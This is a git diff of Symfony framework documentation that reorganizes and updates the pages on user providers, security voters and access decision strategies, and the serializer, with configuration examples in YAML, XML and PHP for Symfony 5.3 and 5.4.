-    use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface;
-
-    class UserRepository extends ServiceEntityRepository implements UserLoaderInterface
-    {
-        // ...
-
-        public function loadUserByUsername(string $usernameOrEmail)
-        {
-            $entityManager = $this->getEntityManager();
-            
-            return $entityManager->createQuery(
-                    'SELECT u
-                    FROM App\Entity\User u
-                    WHERE u.username = :query
-                    OR u.email = :query'
-                )
-                ->setParameter('query', $usernameOrEmail)
-                ->getOneOrNullResult();
-        }
-    }
-
-To finish this, remove the ``property`` key from the user provider in
-``security.yaml``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                users:
-                    entity:
-                        class: App\Entity\User
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <provider name="users">
-                    <entity class="App\Entity\User"/>
-                </provider>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-
-        $container->loadFromExtension('security', [
-            // ...
-
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        'class' => User::class,
-                    ],
-                ],
-            ],
-        ]);
-
-This tells Symfony to *not* query automatically for the User. Instead, when
-needed (e.g. because :doc:`user impersonation </security/impersonating_user>`,
-:doc:`Remember Me </security/remember_me>`, or some other security feature is
-activated), the ``loadUserByUsername()`` method on ``UserRepository`` will be called.
-
-.. _security-memory-user-provider:
-
-Memory User Provider
---------------------
-
-It's not recommended to use this provider in real applications because of its
-limitations and how difficult it is to manage users. It may be useful in application
-prototypes and for limited applications that don't store users in databases.
-
-This user provider stores all user information in a configuration file,
-including their passwords. That's why the first step is to configure how these
-users will encode their passwords:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            encoders:
-                # this internal class is used by Symfony to represent in-memory users
-                Symfony\Component\Security\Core\User\User: 'auto'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-            <config>
-                <!-- ... -->
-
-                <!-- this internal class is used by Symfony to represent in-memory users -->
-                <encoder class="Symfony\Component\Security\Core\User\User"
-                    algorithm="auto"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-
-        // this internal class is used by Symfony to represent in-memory users
-        use Symfony\Component\Security\Core\User\User;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'encoders' => [
-                User::class => [
-                    'algorithm' => 'auto',
-                ],
-            ],
-        ]);
-
-Then, run this command to encode the plain text passwords of your users:
-
-.. code-block:: terminal
-
-    $ php bin/console security:encode-password
-
-Now you can configure all the user information in ``config/packages/security.yaml``:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        # ...
-        providers:
-            backend_users:
-                memory:
-                    users:
-                        john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
-                        jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
-
-.. caution::
-
-    When using a ``memory`` provider, and not the ``auto`` algorithm, you have
-    to choose an encoding without salt (i.e. ``bcrypt``).
-
-.. _security-ldap-user-provider:
-
-LDAP User Provider
-------------------
-
-This user provider requires installing certain dependencies and using some
-special authentication providers, so it's explained in a separate article:
-:doc:`/security/ldap`.
-
-.. _security-chain-user-provider:
-
-Chain User Provider
--------------------
-
-This user provider combines two or more of the other provider types (``entity``,
-``memory`` and ``ldap``) to create a new user provider. The order in which
-providers are configured is important because Symfony will look for users
-starting from the first provider and will keep looking for in the other
-providers until the user is found:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        # ...
-        providers:
-            backend_users:
-                memory:
-                    # ...
-
-            legacy_users:
-                entity:
-                    # ...
-
-            users:
-                entity:
-                    # ...
-
-            all_users:
-                chain:
-                    providers: ['legacy_users', 'users', 'backend_users']
-
-.. _custom-user-provider:
-
-Creating a Custom User Provider
--------------------------------
-
-Most applications don't need to create a custom provider. If you store users in
-a database, a LDAP server or a configuration file, Symfony supports that.
-However, if you're loading users from a custom location (e.g. via an API or
-legacy database connection), you'll need to create a custom user provider.
-
-First, make sure you've followed the :doc:`Security Guide </security>` to create
-your ``User`` class.
-
-If you used the ``make:user`` command to create your ``User`` class (and you
-answered the questions indicating that you need a custom user provider), that
-command will generate a nice skeleton to get you started::
-
-    // src/Security/UserProvider.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
-    use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-
-    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
-    {
-        /**
-         * Symfony calls this method if you use features like switch_user
-         * or remember_me.
-         *
-         * If you're not using these features, you do not need to implement
-         * this method.
-         *
-         * @return UserInterface
-         *
-         * @throws UsernameNotFoundException if the user is not found
-         */
-        public function loadUserByUsername(string $username)
-        {
-            // Load a User object from your data source or throw UsernameNotFoundException.
-            // The $username argument may not actually be a username:
-            // it is whatever value is being returned by the getUsername()
-            // method in your User class.
-            throw new \Exception('TODO: fill in loadUserByUsername() inside '.__FILE__);
-        }
-
-        /**
-         * Refreshes the user after being reloaded from the session.
-         *
-         * When a user is logged in, at the beginning of each request, the
-         * User object is loaded from the session and then this method is
-         * called. Your job is to make sure the user's data is still fresh by,
-         * for example, re-querying for fresh User data.
-         *
-         * If your firewall is "stateless: true" (for a pure API), this
-         * method is not called.
-         *
-         * @return UserInterface
-         */
-        public function refreshUser(UserInterface $user)
-        {
-            if (!$user instanceof User) {
-                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
-            }
-
-            // Return a User object after making sure its data is "fresh".
-            // Or throw a UsernameNotFoundException if the user no longer exists.
-            throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__);
-        }
-
-        /**
-         * Tells Symfony to use this provider for this User class.
-         */
-        public function supportsClass(string $class)
-        {
-            return User::class === $class || is_subclass_of($class, User::class);
-        }
-        
-        /**
-         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
-         */
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
-        {
-            // TODO: when encoded passwords are in use, this method should:
-            // 1. persist the new password in the user storage
-            // 2. update the $user object with $user->setPassword($newEncodedPassword);
-        }
-    }
-
-Most of the work is already done! Read the comments in the code and update the
-TODO sections to finish the user provider. When you're done, tell Symfony about
-the user provider by adding it in ``security.yaml``:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        providers:
-            # the name of your user provider can be anything
-            your_custom_user_provider:
-                id: App\Security\UserProvider
-
-Lastly, update the ``config/packages/security.yaml`` file to set the
-``provider`` key to ``your_custom_user_provider`` in all the firewalls which
-will use this custom user provider.
-
-.. _user_session_refresh:
-
-Understanding how Users are Refreshed from the Session
-------------------------------------------------------
-
-At the end of every request (unless your firewall is ``stateless``), your
-``User`` object is serialized to the session. At the beginning of the next
-request, it's deserialized and then passed to your user provider to "refresh" it
-(e.g. Doctrine queries for a fresh user).
-
-Then, the two User objects (the original from the session and the refreshed User
-object) are "compared" to see if they are "equal". By default, the core
-``AbstractToken`` class compares the return values of the ``getPassword()``,
-``getSalt()`` and ``getUsername()`` methods. If any of these are different, your
-user will be logged out. This is a security measure to make sure that malicious
-users can be de-authenticated if core user data changes.
-
-However, in some cases, this process can cause unexpected authentication problems.
-If you're having problems authenticating, it could be that you *are* authenticating
-successfully, but you immediately lose authentication after the first redirect.
-
-In that case, review the serialization logic (e.g. ``SerializableInterface``) if
-you have any, to make sure that all the fields necessary are serialized.
-
-Comparing Users Manually with EquatableInterface
-------------------------------------------------
-
-Or, if you need more control over the "compare users" process, make your User class
-implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
-Then, your ``isEqualTo()`` method will be called when comparing users.
-
-Injecting a User Provider in your Services
-------------------------------------------
-
-Symfony defines several services related to user providers:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:container user.provider
-
-      Select one of the following services to display its information:
-      [0] security.user.provider.in_memory
-      [1] security.user.provider.ldap
-      [2] security.user.provider.chain
-      ...
-
-Most of these services are abstract and cannot be injected in your services.
-Instead, you must inject the normal service that Symfony creates for each of
-your user providers. The names of these services follow this pattern:
-``security.user.provider.concrete.<your-provider-name>``.
-
-For example, if you are :doc:`building a form login </security/form_login_setup>`
-and want to inject in your ``LoginFormAuthenticator`` a user provider of type
-``memory`` and called  ``backend_users``, do the following::
-
-    // src/Security/LoginFormAuthenticator.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Core\User\InMemoryUserProvider;
-    use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator;
-
-    class LoginFormAuthenticator extends AbstractFormLoginAuthenticator
-    {
-        private $userProvider;
-
-        // change the 'InMemoryUserProvider' type-hint in the constructor if
-        // you are injecting a different type of user provider
-        public function __construct(InMemoryUserProvider $userProvider, /* ... */)
-        {
-            $this->userProvider = $userProvider;
-            // ...
-        }
-    }
-
-Then, inject the concrete service created by Symfony for the ``backend_users``
-user provider:
-
-.. code-block:: yaml
-
-    # config/services.yaml
-    services:
-        # ...
-
-        App\Security\LoginFormAuthenticator:
-            $userProvider: '@security.user.provider.concrete.backend_users'
diff --git a/security/user_providers.rst b/security/user_providers.rst
new file mode 100644
index 00000000000..5d3be052121
--- /dev/null
+++ b/security/user_providers.rst
@@ -0,0 +1,375 @@
+User Providers
+==============
+
+User providers (re)load users from a storage (e.g. a database) based on a
+"user identifier" (e.g. the user's email address or username). See
+:ref:`security-user-providers` for more detailed information when a user
+provider is used.
+
+Symfony provides several user providers:
+
+:ref:`Entity User Provider <security-entity-user-provider>`
+    Loads users from a database using :doc:`Doctrine </doctrine>`;
+:ref:`LDAP User Provider <security-ldap-user-provider>`
+    Loads users from a LDAP server;
+:ref:`Memory User Provider <security-memory-user-provider>`
+    Loads users from a configuration file;
+:ref:`Chain User Provider <security-chain-user-provider>`
+    Merges two or more user providers into a new user provider.
+
+.. _security-entity-user-provider:
+
+Entity User Provider
+--------------------
+
+This is the most common user provider. Users are stored in a database and
+the user provider uses :doc:`Doctrine </doctrine>` to retrieve them.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            providers:
+                users:
+                    entity:
+                        # the class of the entity that represents users
+                        class: 'App\Entity\User'
+                        # the property to query by - e.g. email, username, etc
+                        property: 'email'
+
+                        # optional: if you're using multiple Doctrine entity
+                        # managers, this option defines which one to use
+                        #manager_name: 'customer'
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <provider name="users">
+                    <!-- class:    the class of the entity that represents users
+                         property: the property to query by - e.g. email, username, etc-->
+                    <entity class="App\Entity\User" property="email"/>
+
+                    <!-- optional, if you're using multiple Doctrine entity
+                         managers, "manager-name" defines which one to use -->
+                    <!-- <entity class="App\Entity\User" property="email"
+                                 manager-name="customer"/> -->
+                </provider>
+
+                <!-- ... -->
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
+
+        $container->loadFromExtension('security', [
+            'providers' => [
+                'users' => [
+                    'entity' => [
+                        // the class of the entity that represents users
+                        'class'    => User::class,
+                        // the property to query by - e.g. email, username, etc
+                        'property' => 'email',
+
+                        // optional: if you're using multiple Doctrine entity
+                        // managers, this option defines which one to use
+                        //'manager_name' => 'customer',
+                    ],
+                ],
+            ],
+
+            // ...
+        ]);
+
+.. _authenticating-someone-with-a-custom-entity-provider:
+
+Using a Custom Query to Load the User
+.....................................
+
+The entity provider can only query from one *specific* field, specified by
+the ``property`` config key. If you want a bit more control over this - e.g. you
+want to find a user by ``email`` *or* ``username``, you can do that by
+implenting :class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`
+in your :ref:`Doctrine repository <doctrine-queries>` (e.g. ``UserRepository``)::
+
+    // src/Repository/UserRepository.php
+    namespace App\Repository;
+
+    use App\Entity\User;
+    use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
+    use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface;
+
+    class UserRepository extends ServiceEntityRepository implements UserLoaderInterface
+    {
+        // ...
+
+        public function loadUserByIdentifier(string $usernameOrEmail): ?User
+        {
+            $entityManager = $this->getEntityManager();
+
+            return $entityManager->createQuery(
+                    'SELECT u
+                    FROM App\Entity\User u
+                    WHERE u.username = :query
+                    OR u.email = :query'
+                )
+                ->setParameter('query', $usernameOrEmail)
+                ->getOneOrNullResult();
+        }
+
+        /** @deprecated since Symfony 5.3 */
+        public function loadUserByUsername(string $usernameOrEmail): ?User
+        {
+            return $this->loadUserByIdentifier($usernameOrEmail);
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The method ``loadUserByIdentifier()`` was introduced to the
+    ``UserLoaderInterface`` in Symfony 5.3.
+
+To finish this, remove the ``property`` key from the user provider in
+``security.yaml``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            providers:
+                users:
+                    entity:
+                        class: App\Entity\User
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <provider name="users">
+                    <entity class="App\Entity\User"/>
+                </provider>
+
+                <!-- ... -->
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+
+        $container->loadFromExtension('security', [
+            'providers' => [
+                'users' => [
+                    'entity' => [
+                        'class' => User::class,
+                    ],
+                ],
+            ],
+
+            // ...
+        ]);
+
+Now, whenever Symfony uses the user provider, the ``loadUserByIdentifier()``
+method on your ``UserRepository`` will be called.
+
+.. _security-memory-user-provider:
+
+Memory User Provider
+--------------------
+
+It's not recommended to use this provider in real applications because of its
+limitations and how difficult it is to manage users. It may be useful in application
+prototypes and for limited applications that don't store users in databases.
+
+This user provider stores all user information in a configuration file,
+including their passwords. Make sure the passwords are hashed properly. See
+:doc:`/security/passwords` for more information.
+
+After setting up hashing, you can configure all the user information in
+``security.yaml``:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        providers:
+            backend_users:
+                memory:
+                    users:
+                        john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
+                        jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
+
+        # ...
+
+.. caution::
+
+    When using a ``memory`` provider, and not the ``auto`` algorithm, you have
+    to choose an encoding without salt (i.e. ``bcrypt``).
+
+.. _security-chain-user-provider:
+
+Chain User Provider
+-------------------
+
+This user provider combines two or more of the other provider types (e.g.
+``entity`` and ``ldap``) to create a new user provider. The order in which
+providers are configured is important because Symfony will look for users
+starting from the first provider and will keep looking for in the other
+providers until the user is found:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        # ...
+        providers:
+            backend_users:
+                ldap:
+                    # ...
+
+            legacy_users:
+                entity:
+                    # ...
+
+            users:
+                entity:
+                    # ...
+
+            all_users:
+                chain:
+                    providers: ['legacy_users', 'users', 'backend_users']
+
+.. _security-custom-user-provider:
+
+Creating a Custom User Provider
+-------------------------------
+
+Most applications don't need to create a custom provider. If you store users in
+a database, a LDAP server or a configuration file, Symfony supports that.
+However, if you're loading users from a custom location (e.g. via an API or
+legacy database connection), you'll need to create a custom user provider.
+
+First, make sure you've followed the :doc:`Security Guide </security>` to create
+your ``User`` class.
+
+If you used the ``make:user`` command to create your ``User`` class (and you
+answered the questions indicating that you need a custom user provider), that
+command will generate a nice skeleton to get you started::
+
+    // src/Security/UserProvider.php
+    namespace App\Security;
+
+    use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
+    use Symfony\Component\Security\Core\Exception\UserNotFoundException;
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
+    use Symfony\Component\Security\Core\User\UserProviderInterface;
+
+    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
+    {
+        /**
+         * The loadUserByIdentifier() method was introduced in Symfony 5.3.
+         * In previous versions it was called loadUserByUsername()
+         *
+         * Symfony calls this method if you use features like switch_user
+         * or remember_me. If you're not using these features, you do not
+         * need to implement this method.
+         *
+         * @throws UserNotFoundException if the user is not found
+         */
+        public function loadUserByIdentifier(string $identifier): UserInterface
+        {
+            // Load a User object from your data source or throw UserNotFoundException.
+            // The $identifier argument is whatever value is being returned by the
+            // getUserIdentifier() method in your User class.
+            throw new \Exception('TODO: fill in loadUserByIdentifier() inside '.__FILE__);
+        }
+
+        /**
+         * Refreshes the user after being reloaded from the session.
+         *
+         * When a user is logged in, at the beginning of each request, the
+         * User object is loaded from the session and then this method is
+         * called. Your job is to make sure the user's data is still fresh by,
+         * for example, re-querying for fresh User data.
+         *
+         * If your firewall is "stateless: true" (for a pure API), this
+         * method is not called.
+         *
+         * @return UserInterface
+         */
+        public function refreshUser(UserInterface $user)
+        {
+            if (!$user instanceof User) {
+                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
+            }
+
+            // Return a User object after making sure its data is "fresh".
+            // Or throw a UserNotFoundException if the user no longer exists.
+            throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__);
+        }
+
+        /**
+         * Tells Symfony to use this provider for this User class.
+         */
+        public function supportsClass(string $class)
+        {
+            return User::class === $class || is_subclass_of($class, User::class);
+        }
+
+        /**
+         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
+         */
+        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        {
+            // TODO: when encoded passwords are in use, this method should:
+            // 1. persist the new password in the user storage
+            // 2. update the $user object with $user->setPassword($newEncodedPassword);
+        }
+    }
+
+Most of the work is already done! Read the comments in the code and update the
+TODO sections to finish the user provider. When you're done, tell Symfony about
+the user provider by adding it in ``security.yaml``:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        providers:
+            # the name of your user provider can be anything
+            your_custom_user_provider:
+                id: App\Security\UserProvider
+
+Lastly, update the ``config/packages/security.yaml`` file to set the
+``provider`` key to ``your_custom_user_provider`` in all the firewalls which
+will use this custom user provider.
diff --git a/security/voters.rst b/security/voters.rst
index 8970289aaff..87b5249e996 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -62,6 +62,18 @@ which makes creating a voter even easier::
 
 .. _how-to-use-the-voter-in-a-controller:
 
+.. tip::
+
+    Checking each voter several times can be time consumming for applications
+    that perform a lot of permission checks. To improve performance in those cases,
+    you can make your voters implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`.
+    This allows the access decision manager to remember the attribute and type
+    of subject supported by the voter, to only call the needed voters each time.
+
+    .. versionadded:: 5.4
+
+        The ``CacheableVoterInterface`` interface was introduced in Symfony 5.4.
+
 Setup: Checking for Access in a Controller
 ------------------------------------------
 
@@ -70,14 +82,14 @@ user can *edit* or *view* the object. In your controller, you'll check access wi
 code like this::
 
     // src/Controller/PostController.php
-    // ...
 
+    // ...
     class PostController extends AbstractController
     {
         /**
          * @Route("/posts/{id}", name="post_show")
          */
-        public function show($id)
+        public function show($id): Response
         {
             // get a Post object - e.g. query for it
             $post = ...;
@@ -91,7 +103,7 @@ code like this::
         /**
          * @Route("/posts/{id}/edit", name="post_edit")
          */
-        public function edit($id)
+        public function edit($id): Response
         {
             // get a Post object - e.g. query for it
             $post = ...;
@@ -130,7 +142,7 @@ would look like this::
         const VIEW = 'view';
         const EDIT = 'edit';
 
-        protected function supports(string $attribute, $subject)
+        protected function supports(string $attribute, $subject): bool
         {
             // if the attribute isn't one we support, return false
             if (!in_array($attribute, [self::VIEW, self::EDIT])) {
@@ -145,7 +157,7 @@ would look like this::
             return true;
         }
 
-        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
         {
             $user = $token->getUser();
 
@@ -168,7 +180,7 @@ would look like this::
             throw new \LogicException('This code should not be reached!');
         }
 
-        private function canView(Post $post, User $user)
+        private function canView(Post $post, User $user): bool
         {
             // if they can edit, they can view
             if ($this->canEdit($post, $user)) {
@@ -179,7 +191,7 @@ would look like this::
             return !$post->isPrivate();
         }
 
-        private function canEdit(Post $post, User $user)
+        private function canEdit(Post $post, User $user): bool
         {
             // this assumes that the Post object has a `getOwner()` method
             return $user === $post->getOwner();
@@ -243,7 +255,7 @@ with ``ROLE_SUPER_ADMIN``::
             $this->security = $security;
         }
 
-        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
         {
             // ...
 
@@ -278,12 +290,12 @@ There are three strategies available:
     This grants access as soon as there is *one* voter granting access;
 
 ``consensus``
-    This grants access if there are more voters granting access than denying;
+    This grants access if there are more voters granting access than
+    denying. In case of a tie the decision is based on the
+    ``allow_if_equal_granted_denied`` config option (defaulting to ``true``);
 
 ``unanimous``
-    This only grants access if there is no voter denying access. If all voters
-    abstained from voting, the decision is based on the ``allow_if_all_abstain``
-    config option (which defaults to ``false``);
+    This only grants access if there is no voter denying access.
 
 ``priority``
     This grants or denies access by the first voter that does not abstain,
@@ -293,6 +305,10 @@ There are three strategies available:
 
         The ``priority`` version strategy was introduced in Symfony 5.1.
 
+Regardless the chosen strategy, if all voters abstained from voting, the
+decision is based on the ``allow_if_all_abstain`` config option (which
+defaults to ``false``).
+
 In the above scenario, both voters should grant access in order to grant access
 to the user to read the post. In this case, the default strategy is no longer
 valid and ``unanimous`` should be used instead. You can set this in the
@@ -329,17 +345,70 @@ security configuration:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'access_decision_manager' => [
-                'strategy' => 'unanimous',
-                'allow_if_all_abstain' => false,
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->strategy('unanimous')
+                ->allowIfAllAbstain(false)
+            ;
+        };
 
 Custom Access Decision Strategy
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If none of the built-in strategies fits your use case, define the ``service``
+.. versionadded:: 5.4
+
+    The ``strategy_service`` option was introduced in Symfony 5.4.
+
+If none of the built-in strategies fits your use case, define the ``strategy_service``
+option to use a custom service (your service must implement the
+:class:`Symfony\\Component\\Security\\Core\Authorization\\Strategy\\AccessDecisionStrategyInterface`):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            access_decision_manager:
+                strategy_service: App\Security\MyCustomAccessDecisionStrategy
+                # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+
+            <config>
+                <access-decision-manager
+                    strategy-service="App\Security\MyCustomAccessDecisionStrategy"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\MyCustomAccessDecisionStrategy;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->strategyService(MyCustomAccessDecisionStrategy::class)
+                // ...
+            ;
+        };
+
+Custom Access Decision Manager
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to provide an entirely custom access decision manager, define the ``service``
 option to use a custom service as the Access Decision Manager (your service
 must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface`):
 
@@ -374,10 +443,11 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
 
         // config/packages/security.php
         use App\Security\MyCustomAccessDecisionManager;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'access_decision_manager' => [
-                'service' => MyCustomAccessDecisionManager::class,
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->service(MyCustomAccessDecisionManager::class)
                 // ...
-            ],
-        ]);
+            ;
+        };
diff --git a/serializer.rst b/serializer.rst
index b4dd7e03d52..92250d2f5a9 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -41,6 +41,19 @@ you need it or it can be used in a controller::
         }
     }
 
+Or you can use the ``serialize`` Twig filter in a template:
+
+.. code-block:: twig
+
+    {{ object|serialize(format = 'json') }}
+
+See the :doc:`twig reference </reference/twig_reference>` for
+more information.
+
+.. versionadded:: 5.3
+
+    A ``serialize`` filter was introduced in Symfony 5.3 that uses the Serializer component.
+
 Adding Normalizers and Encoders
 -------------------------------
 
@@ -107,7 +120,7 @@ properties and setters (``setXxx()``) to change properties:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
@@ -135,6 +148,33 @@ properties and setters (``setXxx()``) to change properties:
             ;
         };
 
+Serializer Context
+------------------
+
+The serializer can define a context to control how the (de)serialization of
+resources. This context is passed to all normalizers. For example:
+
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
+  ``datetime_format`` key as date time format;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer`
+  uses ``empty_iterable_as_object`` to represent empty objects as ``{}`` instead
+  of ``[]`` in JSON.
+
+.. versionadded:: 5.4
+
+    The usage of the ``empty_array_as_object`` option by default in the
+    Serializer was introduced in Symfony 5.4.
+
+You can pass the context like following::
+
+    $serializer->serialize($something, 'json', [
+        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
+    ]);
+
+    $serializer->deserialize($someJson, Something::class, 'json', [
+        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
+    ]);
+
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations
@@ -246,12 +286,11 @@ value:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'serializer' => [
-                'name_converter' => 'serializer.name_converter.camel_case_to_snake_case',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
+        };
 
 Going Further with the Serializer
 ---------------------------------
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index eeddab79c56..7f8a0e1b4f2 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -66,7 +66,7 @@ that's done automatically!
 
 .. tip::
 
-    If you're not using :ref:`autoconfigure <service_autoconfigure>`, make sure
+    If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
     to register your class as a service and tag it with ``serializer.encoder``.
 
 Now you'll be able to serialize and deserialize YAML!
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 122add50523..2a0a60244ed 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -61,3 +61,32 @@ Before using this normalizer in a Symfony application it must be registered as
 a service and :doc:`tagged </service_container/tags>` with ``serializer.normalizer``.
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is done automatically!
+
+Performance
+-----------
+
+To figure which normalizer (or denormalizer) must be used to handle an object,
+the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
